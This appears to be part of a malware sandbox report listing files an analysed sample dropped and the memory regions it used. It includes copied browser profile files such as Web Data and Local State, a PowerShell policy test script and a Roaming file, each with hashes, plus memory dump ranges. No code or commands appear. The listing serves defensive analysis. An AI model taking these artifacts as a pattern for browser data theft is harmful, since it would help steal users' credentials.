C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
8ccb32e1fe4ad31cd0de1bf60fe4f16e

SHA1
c2c4d4edfd3a808a40afca1afff44820dafea6f6

SHA256
f4e06360d008066297f55203b5c8e646cfc86c845bb8a79395c471b7115fb486

SHA512
332660da2b07518a96f07bd5f1d55f591aac81ea1d916cfa9dcab3acd036c5aa302f9cc35f595aec71f31f34126f9382db3e962de286d89fa38b91a75c451819

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
7bf1d1debae91e14e2752bc77e1842aa

SHA1
644090420e01600281551fca2439347f3d1ad956

SHA256
977cdec1c69dbdb8a452e6c0caf01952f3f82c7445b364baa855567cfd6fba07

SHA512
c97f260e7d34ab80d22db008aaac2c3e35c4a2189bb123a580641247a0db6322726a2af03b62bd80ac86a2dfe662913a418ae9985ced902e9ddeea5158484f47

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
263B

MD5
1beead9506d38d09b8d65403cec2c86a

SHA1
62ad30410054d054e86f9f72371213b614716803

SHA256
bec03958f8ded031bf677c2d5785e83a5dfd0b4e354c6231e8c93e3a9210faf2

SHA512
aa7038c40c4d599b0827b3c158c116279ee4a564040279627eb2cc810729c6be6857cfe6a78f38d4b68e634573dbe1f37da34ba0c4645eeb3fed1de5803ebcd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
a9385ce41b90a56533ed2ccb8b208a71

SHA1
7411cdf8b8db1cc740232431a4f583fb975a5c30

SHA256
9b7d64cc7bb5c5d2b523b1d28ebf745644851965c69a1e758d0f8e083f4bb7c0

SHA512
17e28949f27756c35f2640c17bd4c7a322b7fa99dbf860bd147aa29faf4f9678c6d17147f0409202d0e469888371a5296576bf130ef28b471078406d1974a867

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
281B

MD5
65d74fef364d16bc127a306f395fc9c3

SHA1
07f470c48c7d11f41249bef84e93cd6c781c30f9

SHA256
003035d60fa373175596730b4b24e9b78d3a2dcc3412cb95fc6ef28b0ae28354

SHA512
591fa52c9be248d3ad51cf100f8b8fad8f2a18330f4b8d124cdb0a356d1afe6c8f7ab6e63080415c0f0914864e2bd2d758359548a03afe87338ee2a1c6dd9d31

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
bf0b97c3f76c7c6434b0d693ba1116b8

SHA1
f8a747e0d4db42330ab1a30d8fb2c1586b2cee7c

SHA256
b0a980820749feb935f276fd423b10bc01eb887774149e027ecc241628886738

SHA512
5ebc27c37194111a2465be6603096191019c3a6ce812512d1f55475ed518a45393f99e4acad87f9aac8fc36b31e4a327de2e3e14fd2de9ad6f0ff5c5fc4ca2d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
115KB

MD5
987dbcaf36523d9e0855d3a67b7fdc4f

SHA1
85cf1cc667dbe2e435d9fe7bf03fdde1ed509ee9

SHA256
27a5eadfcc210e8ab3f37bd800f3659d78a308e4f16c826ab669f660441647e3

SHA512
3226b8c1a491eb26dda9a4a58d8cdf376ffac9e8331deacd55fa7fbeecd2f90e5e4fc3c1dd97e9b8f96590372b928c01eaca0d77581edd8ef4e3ffea0ec03fb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\ShaderCache\GPUCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_41owpxo0.pyf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jsdmmbft

Filesize
4KB

MD5
75379d3dcbcea6a69bc75b884816dd40

SHA1
7e073a03c3bdbbc60375ddbe56bba211c3d412a6

SHA256
cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9

SHA512
710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c

Download Submit
C:\Users\Admin\AppData\Roaming\Kbstadboerne8.tid

Filesize
428KB

MD5
5ae15005322cfb3c865e91fef7e25d31

SHA1
634884dcb1d8177f0ee43e90b620673278a8a5b1

SHA256
e4d05ccc25a075a14ed27618fb5c00594b20ad408871bff34a038f44c8605433

SHA512
5ff3687807442ba52b7d36cbfd17c371295ed804ea27dc3867a514df46bd23152262ef7ae46fac2f0b01044c757cc347509f11a11c618fb4a3fb51b3e3eaff2d

Download Submit
memory/1752-87-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1752-92-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1752-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2908-66-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-62-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-168-0x0000000021A20000-0x0000000021A39000-memory.dmp

Filesize
100KB

Download
memory/2908-231-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-170-0x0000000021A20000-0x0000000021A39000-memory.dmp

Filesize
100KB

Download
memory/2908-359-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-386-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-383-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-380-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-362-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-365-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-368-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-68-0x0000000020FF0000-0x0000000021024000-memory.dmp

Filesize
208KB

Download
memory/2908-71-0x0000000020FF0000-0x0000000021024000-memory.dmp

Filesize
208KB

Download
memory/2908-72-0x0000000020FF0000-0x0000000021024000-memory.dmp

Filesize
208KB

Download
memory/2908-377-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-171-0x0000000021A20000-0x0000000021A39000-memory.dmp

Filesize
100KB

Download
memory/2908-374-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2908-371-0x00000000010C0000-0x0000000002314000-memory.dmp

Filesize
18.3MB

Download
memory/2988-78-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2988-82-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2988-86-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2988-80-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3948-19-0x00007FF802EA3000-0x00007FF802EA5000-memory.dmp

Filesize
8KB

Download
memory/3948-16-0x00007FF802EA0000-0x00007FF803961000-memory.dmp

Filesize
10.8MB

Download
memory/3948-4-0x00007FF802EA3000-0x00007FF802EA5000-memory.dmp

Filesize
8KB

Download
memory/3948-5-0x000001F74FEA0000-0x000001F74FEC2000-memory.dmp

Filesize
136KB

Download
memory/3948-15-0x00007FF802EA0000-0x00007FF803961000-memory.dmp

Filesize
10.8MB

Download
memory/3948-24-0x00007FF802EA0000-0x00007FF803961000-memory.dmp

Filesize
10.8MB

Download
memory/3948-21-0x00007FF802EA0000-0x00007FF803961000-memory.dmp

Filesize
10.8MB

Download
memory/3948-20-0x00007FF802EA0000-0x00007FF803961000-memory.dmp

Filesize
10.8MB

Download
memory/4112-83-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4112-84-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4112-85-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4268-25-0x0000000003040000-0x0000000003076000-memory.dmp

Filesize
216KB

Download
memory/4268-46-0x0000000007950000-0x0000000007972000-memory.dmp

Filesize
136KB

Download
memory/4268-41-0x0000000006950000-0x000000000696E000-memory.dmp

Filesize
120KB

Download
memory/4268-43-0x0000000008360000-0x00000000089DA000-memory.dmp

Filesize
6.5MB

Download
memory/4268-26-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download
memory/4268-44-0x0000000006E90000-0x0000000006EAA000-memory.dmp

Filesize
104KB

Download
memory/4268-45-0x00000000079C0000-0x0000000007A56000-memory.dmp

Filesize
600KB

Download
memory/4268-42-0x0000000006EC0000-0x0000000006F0C000-memory.dmp

Filesize
304KB

Download
memory/4268-47-0x00000000089E0000-0x0000000008F84000-memory.dmp

Filesize
5.6MB

Download
memory/4268-49-0x0000000008F90000-0x000000000BD68000-memory.dmp

Filesize
45.8MB

Download
memory/4268-27-0x00000000060A0000-0x00000000060C2000-memory.dmp

Filesize
136KB

Download
memory/4268-28-0x0000000006140000-0x00000000061A6000-memory.dmp

Filesize
408KB

Download
memory/4268-29-0x00000000061C0000-0x0000000006226000-memory.dmp

Filesize
408KB

Download
memory/4268-39-0x0000000006310000-0x0000000006664000-memory.dmp

Filesize
3.3MB

Download